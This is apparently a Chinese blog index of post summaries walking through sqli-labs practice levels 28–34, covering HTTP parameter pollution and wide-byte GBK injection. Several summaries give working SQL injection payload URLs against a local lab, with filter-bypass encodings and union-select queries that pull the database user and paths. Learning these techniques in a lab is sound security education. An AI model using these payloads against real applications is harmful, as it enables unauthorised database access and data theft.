摘要：
Less-28 本关考察内容与27关没有太大的差距，我们直接给出一个payload： http://127.0.0.1/sqllib/Less-28/?id=100')union%a0select(1),(user()),(3)||('1 阅读全文
摘要：
Less-28a 本关与28基本一致，只是过滤条件少了几个。 http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271 阅读全文
摘要：
Background-6 服务器（两层）架构 首先介绍一下29,30,31这三关的基本情况： 服务器端有两个部分：第一部分为tomcat为引擎的jsp型服务器，第二部分为apache为引擎的php服务器，真正提供web服务的是php服务器。工作流程为：client访问服务器，能直接访问到tomcat 阅读全文
摘要：
Less-29 首先先看下tomcat中的index.jsp文件 在apache的index.php中，sql语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 因此我们根据HPP的原理，我们直接payload： http://127.0 阅读全文
摘要：
Less-30 Less-30与less-29原理是一致的，我们可以看到less-30的sql语句为： 所以payload为： http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2"union%20select%201,user() 阅读全文
摘要：
Less-31 Less-31与上述两个例子的方式是一样的，我们直接看到less-31的sql语句： 所以payload为： http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2%22)union%20select%201,user 阅读全文
摘要：
Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤，所以我们放在一起来进行讨论。 对宽字节注入的同学应该对这几关的bypass方式应该比较了解。我们在此介绍一下宽字节注入的原理和基本用法。 原理：mysql在使用GBK编码的时候，会认为两个字 阅读全文
摘要：
Less-32 利用上述的原理，我们可以进行尝试payload为： http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3--+ 可以看到，我们绕过了对于 ' 的过滤。接下来从源代码进行考虑： 上述函数为过 阅读全文
摘要：
Less-33 本关和上一关的payload是一样的 http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27union%20select%201,user(),3--+ 从源代码中可以看到： 此处过滤使用函数addslashes() addslashes() 阅读全文
摘要：
Less-34 本关是post型的注入漏洞，同样的也是将post过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的，因此数据会通过URLencode，如何将方法用在post型的注入当中，我们此处介绍一个新的方法。 阅读全文